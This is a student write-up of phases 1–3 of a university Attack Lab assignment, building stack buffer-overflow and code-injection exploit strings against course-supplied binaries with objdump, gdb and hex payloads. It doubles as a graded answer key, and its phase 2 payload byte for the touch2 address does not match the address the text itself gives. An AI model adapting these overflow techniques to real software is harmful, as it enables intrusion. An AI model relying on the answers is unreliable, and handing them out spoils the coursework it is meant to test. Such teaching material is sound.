Attack Lab
Introduction
Lab 3 for CSCI 2400 @ CU Boulder - Computer Systems
This assignment involves generating a total of five attacks on two programs having different security vulnerabilities. The directions for this lab are detailed but not difficult to follow.
Again, I like using objdump to disassemble the code.
objdump -d ctarget > dis.txt
Phase 1
From the instructions, we know that our task is to get CTARGET to execute the code for touch1 when getbuf executes its return statement, rather than returning to test
Let us try to look into the getbuf from our disassembled code.
0000000000402608 <getbuf>:
402608: 48 83 ec 18 sub $0x18,%rsp
40260c: 48 89 e7 mov %rsp,%rdi
40260f: e8 95 02 00 00 call 4028a9 <Gets>
402614: b8 01 00 00 00 mov $0x1,%eax
402619: 48 83 c4 18 add $0x18,%rsp
40261d: c3
402608: 48 83 ec 18 sub $0x18,%rsp
We can see that 0x18 (hex) or 24 (decimal) bytes of buffer is allocated to getbuf (Since, 24 bytes are being subtracted from the stack pointer).
Now, since we know the buffer size we can try passing the address of the touch1 function.
jxxxan@jupyter-xxxxxx8:~/lab3-attacklab-xxxxxxxxuhan/target66$ cat dis.txt | grep touch1
000000000040261e <touch1>:
We were told in our recitation that our system was little-endian (so the bytes will be in the reverse order). Otherwise, we can use python to check:
jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ python -c 'import sys; print(sys.byteorder)'
little
We have our padding size and the function we need to call, we can write it in ctarget.l1.txt
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
1e 26 40 00 00 00 00 00
jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ ./hex2raw < ctarget.l1.txt | ./ctarget
Cookie: 0x3e8dee8f
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
Phase 2
Phase 2 involves injecting a small amount of code as part of your exploit string.
Within the file ctarget there is code for a function touch2 having the following C representation:
void touch2(unsigned val)
{
vlevel = 2;
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
Your task is to get CTARGET to execute the code for touch2 rather than returning to test. In this case, however, you must make it appear to touch2 as if you have passed your cookie as its argument.
Recall that the first argument to a function is passed in register %rdi
This hint tells us that we need to store the cookie in the rdi register
movq $0x3e8dee8f,%rdi
retq
To get the byte representation, we need to compile the code and then disassemble it.
jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ gcc -c phase2.s && objdump -d phase2.o
phase2.s: Assembler messages:
phase2.s: Warning: end of file not at end of a line; newline inserted
phase2.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 8f ee 8d 3e mov $0x3e8dee8f,%rdi
7: c3 ret
Thus, the byte representation for our asm code is 48 c7 c7 8f ee 8d 3e c3
We also need to figure out the address to the %rsp register. Again, looking at the getbuf code
0000000000402608 <getbuf>:
402608: 48 83 ec 18 sub $0x18,%rsp
40260c: 48 89 e7 mov %rsp,%rdi
40260f: e8 95 02 00 00 call 4028a9 <Gets>
402614: b8 01 00 00 00 mov $0x1,%eax
402619: 48 83 c4 18 add $0x18,%rsp
40261d: c3 ret
We need to find the address of %rsp after calling <Gets> and sending a really long string.
What we are going to do now is to add a break on getbuf, and run the program just after it asks us to enter a string and then find the address of %rsp
jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ gdb ./ctarget
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
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License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./ctarget...
(gdb) b getbuf
Breakpoint 1 at 0x402608: file buf.c, line 12.
(gdb) run
Starting program: /home/jxxxxn/lab3-attacklab-naxxxan/target66/ctarget
Cookie: 0x3e8dee8f
Breakpoint 1, getbuf () at buf.c:12
12 buf.c: No such file or directory.
(gdb) disas
Dump of assembler code for function getbuf:
=> 0x0000000000402608 <+0>: sub $0x18,%rsp
0x000000000040260c <+4>: mov %rsp,%rdi
0x000000000040260f <+7>: call 0x4028a9 <Gets>
0x0000000000402614 <+12>: mov $0x1,%eax
0x0000000000402619 <+17>: add $0x18,%rsp
0x000000000040261d <+21>: ret
End of assembler dump.
(gdb) until *0x402614
Type string:fnaewuilrgchneaisurcngefsiduerxgecnseriuesgcbnr7ewqdt2348dn564q03278g602365bgn34890765bqv470 trq378t4378gwe
getbuf () at buf.c:15
15 in buf.c
(gdb) x/s $rsp
0x55621b40: "fnaewuilrgchneaisurcngefsiduerxgecnseriuesgcbnr7ewqdt2348dn564q03278g602365bgn34890765bqv470 trq378t4378gwe"
(gdb)
So, the address for %rsp is 0x55621b40
Thus, we can set our ctarget.l2.txt as:
byte representation of ASM code
padding
address of %rsp
address of touch2 function
To get the address of touch2 we can run:
jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ cat dis.txt | grep touch2
000000000040264e <touch2>:
402666: 74 2a je 402692 <touch2+0x44>
4026b2: eb d4 jmp 402688 <touch2+0x3a>
48 c7 c7 8f ee 8d 3e c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
40 1b 62 55 00 00 00 00
4e 26 b2 00 00 00 00 00
Do note that our required padding is 24 bytes, we are only adding 16 bytes because our asm code is 8 bytes on its own. Our goal is to have a total of 24 bytes in padding, not 8 + 24 bytes,
joxxxx@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ ./hex2raw < ctarget.l2.txt | ./ctarget
Cookie: 0x3e8dee8f
Type string:Touch2!: You called touch2(0x3e8dee8f)
Valid solution for level 2 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
Phase 3
Phase 3 also involves a code injection attack, but passing a string as argument.
You will need to include a string representation of your cookie in your exploit string. The string should consist of the eight hexadecimal digits (ordered from most to least significant) without a leading “0x.”
Your injected code should set register %rdi to the address of this string
When functions hexmatch and strncmp are called, they push data onto the stack, overwriting portions of memory that held the buffer used by getbuf. As a result, you will need to be careful where you place the string representation of your cookie.
Because hexmatch and strncmp might overwrite the buffer allocated for getbuf we will try to store the data after the function touch3 itself.
The rationale is simple: by the time our payload is executed, we will be setting %rdi to point to the cookie. Placing the cookie after touch3 function ensures that it will not be overwritten by the function calls. It also means that we can calculate the address of the cookie with relative ease, based on the known offsets.
=> The total bytes before the cookie = Buffer (0x18 in our case) + Return Address of %rsp (8 bytes) + Touch 3 (8 Bytes) = 0x18 + 8 + 8 = 28 (hex)
- Return Address (8 Bytes): Since in a 64 bit system the return address is always 8 bytes, by overwriting this address, we redirect the function to jump to our desired location upon returning (e.g. the beginning of the
touch3function) - Touch 3 (8 bytes): The address of the
touch3function is 8 bytes long.
We can use our address for %rsp from phase 2, and simply add 0x28 to it.
=> 0x55621b40 + 0x28 = 0x55621B68
Again, let us get the binary representation for the ASM code:
movq $0x55621B68, %rdi
retq
jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ gcc -c phase3.s && objdump -d phase3.o
phase3.s: Assembler messages:
phase3.s: Warning: end of file not at end of a line; newline inserted
phase3.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 68 1b 62 55 mov $0x55621b68,%rdi
7: c3 ret
Thus, our answer is going to be in the form:
asm code
padding
return address / %rsp
touch3 address
cookie string
To quickly get the address for touch3
jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ cat dis.txt | grep touch3
0000000000402763 <touch3>:
402781: 74 2d je 4027b0 <touch3+0x4d>
4027d3: eb d1 jmp 4027a6 <touch3+0x43>
We need to use an ASCII to Hex converter to convert the cookie string into hex.
jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ echo -n 3e8dee8f | xxd -p
3365386465653866
Thus, our cookie string representation is 33 65 38 64 65 65 38 66
48 c7 c7 68 1B 62 55 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
40 1b 62 55 00 00 00 00
63 27 40 00 00 00 00 00
33 65 38 64 65 65 38 66
jxxxxn@jupyter-naxxxx88:~/lab3-attacklab-naxxxan/target66$ ./hex2raw < ctarget.l3.txt | ./ctarget
Cookie: 0x3e8dee8f
Type string:Touch3!: You called touch3("3e8dee8f")
Valid solution for level 3 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
Phases 1-3 Complete.
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